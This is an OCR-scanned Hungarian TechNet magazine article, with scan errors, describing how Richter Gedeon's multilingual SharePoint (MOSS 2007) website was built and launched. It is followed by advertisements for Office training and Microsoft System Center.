csomag funkcionalitisa megfelels, felkertl-
het az éles kornyezetre, természetesen ebben
az esetben is kizarolag a Richter tizemeltet6i-

nek kozremiikodésével.

Hogy a biztonsagrol se

feledkezziink meg

Miér a tervezési fazistol kezdédden kitiinte-
tett figyelemmel kezeltiik a biztonsagi kérde¢-
seket. Ez egyardnt vonatkozik a tartalom lét-
rehozasdra szolgalod szerkesztdségi rendszer-
re, ahol jovahagydsi folyamat szabdlyozza az
oldalak megjelenitését, illetve az internetes
litogatok szamara elérhetd publikacios rend-
szerre, ahol pedig regisztraciojuktol fiiggden

Kliens

Publikdcios MOSS 2007

Exchange

szerver Szerkeszioségi MOSS 2007

Szerkesztd
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a felhasznalok kulonféle publikus vagy vé-
dett tartalmakat kezelhetnek.

A belsé rendszeren a felhasznalok Win-
dows-integralt modon érik el a szerkesztéségi
rendszert, mig a kiils¢ rendszerben a pub-
likus tartalmakhoz nevesités nélkul, a vé-
dett tartalmakhoz pedig trlap alapt azono-
sitast haszndlva férnek hozza a felhasznalok.
Utdbbi esetben a felhaszndloi adatok az ASP.
NET 2.0 sajit adatbazisaban tarolédnak. Egy
ilyen megoldas a korabbi SharePoint esetén
meglehetésen koriilményes lett volna. Szeren-
csére a 2007-es verziondl - hdla az ASPNET
2.0 alapoknak - ez nem okoz komoly kihi-
vast, a tobbféle azonositasi modot akar vegye-
sen is alkalmazhatjuk egy webhely esetén.

Magat a regisztraciot egyedi vezérlok se-
gitségével, titkositott csatornan kereszttl va-
lositottuk meg. Itt érdekesség, hogy a fel-
hasznaloi regisztraciok jovahagydsa torténhet
automatikusan, egy kiils6 adatbdzis adataival
torténd Osszehasonlitas alapjan, illetve lehe-
toség van a kézi elbiralasra is. Utdbbit egy
- a publikicios rendszerhez kapcesolédd - ad-
minisztratori webhely készitésével oldottuk
meg. Ennek megvalositdsihoz felhasznaltuk a
MOSS 2007 Enterprise verzidjanak Business
Data Catalog (BDC) funkciojat is.

Ugyelniink kellett arra is, hogy a publi-
kacios rendszer latogatoi ne tudjik elérni a
standard MOSS 2007-oldalakat, csupin a
szerkesztoség altal feltoltott cikket.

Adunk a megjelenésre

Mint korabban emlitettem, a honlap arculatét
készen kaptuk egy erre a feladatra szakosodott
csapattol. Mivel ez a gyakorlatban egy arcula-
ti kézikonyvet és par képernyétervet jelentett,
még tovabbi munkaval jart, hogy a korabban
jol ismert megjelenés SharePointrol kdszonjon
vissza rank. Ehhez elobb jo érzékkel fel kellett
darabolni a képernydtervként kapott grafi-
kat, az arculati kézikonyv alapjan létrehozni a
CSS-stiluslapokat, majd az egészet egy mester-
oldalként elkészitve rdhtzni a SharePointra.
Hogy mindebbe egy kis dinamizmust is csem-
péssziink, elkészitettitk a bal oldali, harmoni-
kaszertien miikodd meniit is a Richter altal

meghatarozott meniistruktarara.

Azok a mesteri mesteroldalak
Azt mar az ASPNET 2.0 gyorstalpalo példai-
bol megismertiik, mennyire hasznosak lehet-

nek a mesteroldalak a webes alkalmazasok

megjelenésének testre szabdsiaban. Klono-
sen igaz ez, ha az alaposztalyokbodl szarmaz-
tatva egy kis logikat is visziink be a rendszer-
be arra vonatkozolag, hogy egy oldal a kon-
textustol fiiggden el tudja donteni, milyen
keretben jelenjen meg.

Ilyen megoldassal sikeriilt megvalositani
a nyomtathaté valtozatot, amikor ugyanaz
a tartalom a szokdsos menustruktira nél-
kul, csak fej- és labléccel jelenik meg, de ez
all az akadalymentes valtozat mogott is, ahol
ugyancsak egy példanyban létezik a tarta-
lom, és a mesteroldal gondoskodik a vakok
és gyengén litok szamara megfeleld forma-
zasrol. Utdbbi esetében kiilondsen jol esett
az érintetteket tomoritd egyik szervezettol az

élesbe allast kovetden kapott elismerés.

A Richter térténate

A Richter Ged Nyrt.- egyik szel
mesak a cég, hanen|

Akadélymentes véltozat — , fehéren feketén”

Korabban a bettiméretet valtoztatd funk-
ciot is mesteroldalak segitségével probaltuk
beallitani, de az eredmény ebben az esetben
nem teljesen felelt meg az elvarasainknak, igy

maradt a mar bevalt kliensoldali megoldas.

Tobbnyelviség

Valamennyi webhely esetén elviras volt a
tobbnyelviiség. Ez az anyavéllalatndl a ma-
gyar mellett az angol és orosz nyelvet jelentet-
te, mig a leanyvallalatnal az anyanyelvi verzio
mellett minden esetben az angol jelenik meg
masodik nyelvként.

A MOSS 2007 az ugynevezett variaciok al-
kalmazasdval, beépitett médon tamogatja a
nyelvi valtozatokat, azonban ez a tdmogatas
abban az esetben idedlis, ha a tartalom a két
vagy tobb nyelven megegyezik, de legaldbbis
nagy atfedést mutat. Ekkor egy kivdlasztott
elsddleges nyelven létrehozott tartalmak for-
ditdsat a tobbi nyelvre a rendszer beépitett
forditdsi munkafolyamattal tdmogatja. Saj-
nos az 6nallo forditas még nem mutkodik, ta-

l4n majd a kovetkezd verzidban.

I =

Esetiinkben nem errdl volt sz6, a magyar,
illetve a tobbi anyanyelvi verzi¢ tobbnyire je-
lentdsen bévebb tartalmat takart, mint a ma-
sodlagos verziok, igy nem éltiink a variaciok
adta lehetdséggel. Ehelyett az oldalsablono-
kat, egyedi vezérloket készitettiik el ugy, hogy
dinamikusan, a ldtogatott oldal URL-je alap-
jan érzékeljek, milyen nyelv verzion jarunk,
és az ennek megfeleld nyelvii eréforras fajlbol
olvassak fel a nyelvspecifikus szovegeket és
képeket. Ezaltal valamennyi nyelvi verzioban

hasznalhat6 oldalsablonokat kaptunk.

Dinamikus vezérlok

A felilleten megjelend egyedi fejlesztésti ve-
2érl6 jelentds része SharePointlistakbol dl-
litja 6ssze a tartalmat. Ezekben az esetekben
a szerkesztéségi munka a listaelemek modo-
sitasdt jelenti. Ilyen vezérld példaul az oldal
tetején lathaté ,Richter vildgszerte” lenyild
lista, ahol a megjelenitett villalatok neve és
az ezekhez tartozo, az elem kivalasztasakor
megnyild oldal cime egy SharePointlista ele-
meiként tarolédnak.

Hasonlo elven miikodik a Richter-érde-
keltségeket a vilagtérképen abrazolod vezérlo,
ahol az tires térképet tartalmazo grafikdra
dinamikusan, szerveroldalon keriilnek fel a
képviseleteket jelképezd pontok, illetve a fel-
hasznalok klikkelését kezel image map hot-
spotok is, mindez egy masik SharePointlista-
ban tarolt érdekeltségi lista alapjan. Persze ha
ma kapnank meg ezt a feladatot, kénnyen le-
het, hogy egy ennél latvanyosabb eredményt
tudnank elérni Silverlight alkalmazasaval, de
hét gyorsan véltozik a technoldgia: amikor a
megoldast le kellett tenni az asztalra, ez a név
még nem forrt dssze mai jelentésével.

A jobb oldali oszlopban levé bannerek és
gyorslinkek ugyancsak dinamikusan jeleni-
tddnek meg. Ebben az esetben a szerkesztok

egy listdban rendelhetik hozz4 a bal oldali me-
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ni elemeihez a megjelenitendd képet, flash-
animdciot vagy tetszéleges HTML-tartalmat.

Aki keres, az talal

Egy Osszetettebb webhely esetén hasznos, ha
az informaciok megtaldlasdt keresd tamo-
gatja. Igy van ez esetiinkben is, ahol a Share-
Point beépitett indexeld- és keresdmotorijdt

hasznaltuk fel az alapkeresések esetén.

A keresett kifejezésnek leginkabb megfeleld talalatok

Belsd ellendr
2007.09. 27,
érdeklddés (vegyész, gépész)

Aktudlis llisajénlataink
2007. 08. 24,
Kutatd-vegyész
szabadalmi gyvivé jeldlt
2007. 08. 23

rendelkezik [vegyész, vegyészmérmik, kémia tandr) Angal nyelven térgyaléképes (mi

Dokumenticids keordinitor

2007. 08, 23.

Veayész, veayészmémak felsfoki végzettséa Hatékony irésbeli és szdbeli kammunik(
fe

Richter a Magyar Kémia Oktatasaért
2007.08. 23,

azonban nemcsak a vegyész szakemberek képzését timogatja, hanem jelen van az or:
pontisn

Keresési taldlatok — Most j6 lenni vegyésznek!

A keresonél sokkal hatékonyabb megoldas
lehet, ha a felhasznalok érdeklddése alapjan
megcélzott tartalmi csomagokat készittink.

Megcélzott tartalmak

Ennek egyik klasszikus modja a hirlevél. A
Richter honlapjandl a sajt6 regisztrilt képvi-
seléi rendszeres idokozonként ezen a csator-
nan értesiilhetnek az ket érintd legfrissebb
informaciokrol. A hirlevél technikai megvalo-
sitasara tobb megoldas is sztiletett. Az erede-
tileg hasznalt, a beépitett értesitésekre éptild
valtozatot végiil is lecseréltiik egy egyedi fej-
lesztést is tartalmazo megoldasra, ahol a hir
levelek titemezése, a tartalom és a forma meg-
hatdrozasa a beépitett eszkozt hasznald meg-
oldashoz képest szabadabban konfiguralhato.
Nem volt mellékes szempont az sem, hogy ez a
megoldis jobban illeszkedett a Microsoft 4ltal
kidolgozott hideg tartalékmegoldashoz is.

A hirlevél mellett a honlapon megtalalha-
t6 az elmult évek sordn elterjedt RSS-csator-
na alapu értesités is. A honlap szdmos ilyen
csatornaval rendelkezik, amelyek koziil a 1a-
togatok feliratkozhatnak az éket érdeklokre.
Ezt kovetden sajat RSS-olvasojukon (példaul
Outlook 2007, Internet Explorer 7.0) keresz-
ttl kapnak értesitést a valtozasrol. A tartalom
feltoltésekor a szerkesztok megadhatjak, hogy
az adott cikk mely csatornakban jelenjen meg,
ilyenkor a csatornak tartalma automatikusan

boviil az Gj elemmel. A MOSS 2007 t6bb pon-
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RSS — becsatorndzva

ton nyujt tamogatast az RSS-csatornan keresz-
tuli tartalomszolgaltatisra, megoldasunk egy
ilyen komponens testre szabasdval készult el.

A tartalom megcélzasanak masik modja a
webkijelzok és cikkek célkdzonséghez rende-
lése. Ezzel a megoldassal lehetdségiink nyilt
arra, hogy a honlap feliilletén egyes eleme-
ket csak bizonyos felhasznaldi csoportoknak,
példaul orvosoknak jelenitstink meg, mig
a nem nevesitett felhasznalok vagy a sajto
munkatarsai szamara az adott tartalom rejt

ve marad.

Osszesitett tartalmak

Rendkiviil hasznos, ha a honlap tartalmaz
dsszesitd nézeteket, amelyekben automatiku-
san frissilnek a tartalmak. fgy példaul az
4j éllashirdetés egybol megjelenik a korab-
bi hirdetések kozott, mindenféle szerkesztoi
munka nélkiil.

A MOSS 2007 egyik ujdonsiga a Content
by Query webkijelz6, amellyel - sokoldalu
felhasznalhatosaga kapcsan - igazan szoros
baritsagot kotottiink a projekt soran. Ezzel
az eszkozzel gyerekjaték a honlapon levo tar-
talmak Osszesitett megjelenitése, példaul a
tartalomtipus- vagy az allashirdetés-példank-
ndl maradva, a munkavégzés helye alapjan.
Nem utolsésorban az emlitett webkijelzod
testre szabdsaval sikertilt megoldani az el6z6
pontban emlitett RSS-csatornakat, amelyek
onmaguk is egyfajta specidlis tartalom ossze-
sitéseként foghatok fel.

Azokban az esetekben, ahol dsszetettebb
logikat vagy megjelenitést kellett alkalmazni,
egy sajat fejlesztéstt komponenst vetettiink
be, ezzel késziiltek példaul az évenkénti fa-

struktarat hasznalo archivumok.

Osszesitd nézetek

A regisztracio kapcsdn mar megemlitet-
tiink egy kiilsé rendszert, amellyel a honlap
kapcsolatban van. Ez egy eldfizetés alapu
szolgdltatds HTTP-kapcsolaton keresztiil el-
lendrizhetd, hogy az egészségligyi regisztracio
soran megadott adatok (példaul név, sziiletési
datum és pecsétszam) megfelelnek-e a hivata-

los nyilvantartasban szereplo értékeknek.

Kils6 kapcsolatok

Szintén kiilsé szolgaltaton keresztiil kapja a
rendszer a tozsdei adatokat és ezek statikus
grafikonjait. Webes rendszerrél lévén szo, a

kapcsolat soran hasznalt csatorna ebben az

esetben is a HTTP. A honlap ezeket az adato-
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Arfolyamok — mozgdshan az iizlet

kat feldolgozast kovetden lokdlisan is tarolja,
ezaltal akkor is tudja szolgdltatni a ldtoga-
toknak, ha a kiilso szolgaltato esetleg nem

érhetd el.

Riportok, statisztikak

A rendszer tobb helyen tartalmaz olyan kom-
ponenseket, amelyek célja valamiféle statiszti-
kak nyujtasa a felhasznaloknak. Mivel az MS
SQL Server 2005 mint a SharePointadatba-
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Arfolyamarchivum — mivel viltoznak az idsk

zis kiszolgaldja mar adott volt, ezért érthetd,
hogy a statisztikak megjelenitésére ennek Re-
porting Server-komponensét hasznaltuk fel.

Az egyik ilyen funkci6 az internetes latoga-
toknak sz6l6 archiv Richterrészvényarfolyam.
Ebben az esetben az drfolyamok kapcsan mar
emlitett szolgdltatas altal dsszegy(jtott adatok
jelenithetdk meg grafikus forméban a kivalasz-
tott iddintervallum és tdzsde fiiggvényében.

A misik f6 csoportba a szerkesztdknek
52616 latogatoi statisztikdk tartoznak. Ahhoz,
hogy a webhely tartalmat a felhaszndlok igé-
nyeihez lehessen igazitani, hasznos, ha tudjuk,
mely oldalakat latogatjak, honnan jonnek, mi-
re keresnek a felhasznalok. Ennek kovetésére
a SharePoint szamos beépitett eszkdzt tartal-
maz. A beépitett adatgy(ijto szolgaltatdsokat
mi egy tovabbfejlesztett, dsszetettebb sziirést
is lehetové tevo feliilettel egészitettiik ki.

Interaktivitas
A honlapot igyekeztiik gy tervezni, hogy ne
csupdn egyirdnyu adatszolgaltatasra legyen
alkalmas, hanem a felhasznalok is képesek
legyenek a megjelend tartalmak befolydsola-
sdra vagy a tartalommal kapcsolatos vissza-
jelzésre. Elébbire jo példa a korabbiakban
emlitett vilagtérkép és az archiv részvényar
folyamokat kezeld funkcio.

A tartalommal kapcsolatos visszajelzésnél
a felhasznaloknak természetesen lehetéségiik
van lzenetet killdeni a szerkesztéségnek, de
ezenkiviil az aktualis allashirdetésekre is je-

lentkezhetnek. Ilyen esetekben a jelentke-
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zéshez hasznalt Grlap automatikusan a kiva-
lasztott 4llas alapadataival toltodik fel, az el-
kuldott jelentkezést pedig az allashirdetésnél

megadott kapcsolattartd személy kapja meg.

Az éleshe allds
A fejlesztés befejezése és az élesbe dllas ko-
zotti id6 sem telt el munka nélkil. Ennek az
idészaknak volt feladata egyfeldl a dokumen-
talt tesztelés, masrészt a tartalmak feltoltése.
Mindkét tevékenységet a Richter tzleti fel-
hasznaloi végezték. Mivel a tartalomfeltoltés
a tesztrendszeren tortént, ezért megoldast kel-
lett talalni, hogy a kezdeti tartalmak 4ttoleod-
jenek az éles rendszerre. Ugyancsak gondos-
kodni kellett a korabbi archiv tdzsdei adatok
és a termékadattar feltoltésérsl is. Mindezek
nélkiil a honlap, a webes szerkesztéségi rend-
szer csupdn egy Ures keretrendszer lett volna.
Ezekhez a feladatokhoz mi egyszer, sajit
fejlesztésti eszkozoket készitettiink, amelyek
a telepitdkészlet részét képezték. A korabbi
rendszerrél tartalomattoltés vagy felhasznalo-
migracié nem volt feladata a projektnek.
Kozvetlentil az élesbe allast megel6z6 hetek-
ben a régi és Uj rendszer parhuzamosan mtiko-
dott, igy lehetdség volt a végleges helyen tesz-
telni a rendszer funkcioit és nem utolsosor-
ban stabilitasat. Ennek kapcsdn a Microsoft
Magyarorszag szakemberei terhelési tesztek-
nek is alavetették az alkalmazast, amely az el-
varasoknak megfeleléen 4llta a sarat. [gy elha-
rult az akaddly a két rendszer felcserélése ell.
Szeptember elején a régi rendszer végleg nyug-
dijba vonult, helyét és a www.richter.hu cimet
az G MOSS 2007 alapt megoldas vette 4t.

Jelen és jovo
A régi mondds, miszerint ,evés kozben jon
meg az étvagy”, a projekt soran ujbol beiga-

zolodott. Még le sem zarult a tervezési fazis,

sat WA S Kapcalat A olduterkey B3

B @ RicuTEr GEDEON

TOBB MINT 100...
-..0rsz8gra Kiterjeds
piachélzat a betegek
szolgslataban,

Jelentkezziink vegyésznek!

A honlap nyitélapja

mar tjabb és tjabb otletek sziilettek, hogyan
lehetne a végeredmény még szebb, még hasz-
nalhatobb. A felmeriilt igényeket folyamato-
san priorizdltuk fontossaguk és a megvalosi-
tas munkaigénye alapjan. Azokat az igénye-
ket, amelyek fontossiga igazolta a sziikséges
munkit, lehetdség szerint valtozaskezeléssel
beépitettiik a projektbe, a tobbi dtletet pedig
parkolopalyara helyeztitk azzal, hogy az elsd
fazis lezardsat kovetden visszatérink rajuk.

Jelenleg a legfontosabb munkak a ledny-
vallalatok ¢lesbe allitasaval kapcsolatosak.
A kozelmultban fejezodott be a kiilfoldi szer-
kesztok oktatasa, ezt kéveti majd a tartalom-
feltoltés és a webhelyek publikalasa.

Ezzel parhuzamosan megkezdodott a je-
lenlegi funkciok bovitésének tervezése, meg-
valositasa is. Elképzeléseink szerint ezeket a
funkciokat kisebb csomagokban adjuk ki,
ezzel probaljuk kévetni az tizleti oldal gyor-
san valtozé igényeit, masrészt igy a felhaszna-
loknak nem kell honapokat varniuk egy-egy
ujabb funkciora. Mivel latjak, hogy a honlap
él, véltozik, igy folyamatosan fenntarthatjuk
érdeklodéstiket.

Tanulsagok

Természetesen mindig komoly kihivas az is-
merkedés egy Uj termékverziéval. Nem volt
ez masként esetiinkben sem. Hogy ezeknek a
kihivasoknak megfeleljiink, szitkség volt szak-
embereink felkésziiltsége mellett a Microsoft
Magyarorszag szakértoivel vald szoros egylitt-
mikodésre is, és adott esetben nem riad-
tunk meg a technoldgiai problémak eszka-
lalasatol sem. Microsoft Gold partnerként
szamos ilyen eszkalacios csatorna all rendel-
kezéstinkre, igy olyan informaciokhoz és javi-
técsomagokhoz is hozzdjuthattunk, amelyek
a nyilvanossig szdmdra csak tobb honapos
késleltetéssel valtak elérhetové.

Azoknak pedig, akik még esetleg nem vag-
tak bele a MOSS 2007-tel valé ismerkedés-
be, azt javaslom, hogy ne rettenjenck meg
az els¢ (és sokadik) ranézésre ijesztéen sok
funkciotol, lehetéségtol. Batran kezdjenek
kisérletezni a termékkel, ezt megkonnyiti az
elmult év soran a termékrol megjelent szd-
mos konyv, illetve a Microsoft partnercégei-
nél - igy a Greptonnil is - felhalmozodott
kompetencia.

Holpdr Péter
(pholpar@grepton.hu)
MCTS, Grepton Informatikai Z1t.

Microsoft TechNet




Office-tanfolyamok, informatikusoknak is!
Teljeskory Office-oktatds a NetAcademianal

A Microsoft Office alkalmazdsok megfelel6 ismerete nagyban hozzajarul a mindennapi
irodai munka hatékonyabba és eredményesebhé tételéhez. Ennek ellenére a legtébb
felhasznalé a rendelkezésére all6 lehet8ségeknek csupan toredékét ismeri és hasznalja.
Pedig néhdny kattintdas a megfelelé helyen kisebb , csodakra” lehet képes...

Office-tanfolyamok minden igényre

A NetAcademia hivatalos Microsoft oktatékozpontként Office-tanfolyamok* széles
valasztékaval boévitette tanfolyamkinalatat.

Excel, Access, Word, PowerPoint és Outlook

Tanfolyamok felhasznaléknak:
m kezd6knek és rutinos felhasznaléknak egyarant,
m 3 2003-as és a megujult 2007-es verzidban is,
m gyakorlati, napi feladatokra 6sszpontosité példak.

95%
Office-programozas:
m felhasznaléi és fejleszt8i szinten (makrék, VBA,
VBE, VBS, beépul6k, sajat fuggvények, ODBC).
InfoPath, Project, Visio és SharePoint .
Excel-hasznalok Hasznalt funkciok

A Microsoft Office tovabbi irodai alkalmazasainak
elsajatitasahoz sziikséges tanfolyamok szintén
megtaldlhaték a NetAcademidanal.

Az Excel esetében a felhaszndlok 95 %-a
az alkalmazds funkcioinak csupdn 5 %-dt haszndlja.

A SharePoint esetében a teljeskorl tanfolyamkinalat mellett (rendszergazdai, fejlesztdi,
felhasznaldi tanfolyamok) szaktandcsaddassal is Ugyfeleink rendelkezésére allunk.

Tovabbi informacié a www.netacademia.net/office oldalon. Egyedi igény esetén kérjlik, keresse
Szanté Zoltant (tel.: 1/472-1214).

*A tanfolyamok a szakképzési keret terhére elszamolhatok.

ACADEMIA

A LEGJOBBAKAT TANITJUK.

MiClOSOﬂ' Eﬂ Microsoft®
GOLD CERTIFIED ‘ “‘JOffice

Partner
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CROSOFTSYSTEMCENTER NAGY DOLGOKRA KEF

A Microsoft System Center termékcsaladja

az IT rendszerfelligyeleti megoldéasokat fogja 6ssze

(a csalad része a megujult Operations Manager és

a Systems Management Server is). A System Center
termékek segitségével az informatikusok munkéja
konnyebbé és hatékonyabba valik. Ezzel a megoldassal
még a legnagyobb vallalatok informatikai
infrastruktdraja is konnyedén felligyelheté.

A jol felugyelt rendszer pedig segiti a vallalat
felhasznaléit mindennapi munkajuk elvégzésében
—igy az IT végre igazan stratégiai eszkdzzé valik.

Microsoft®



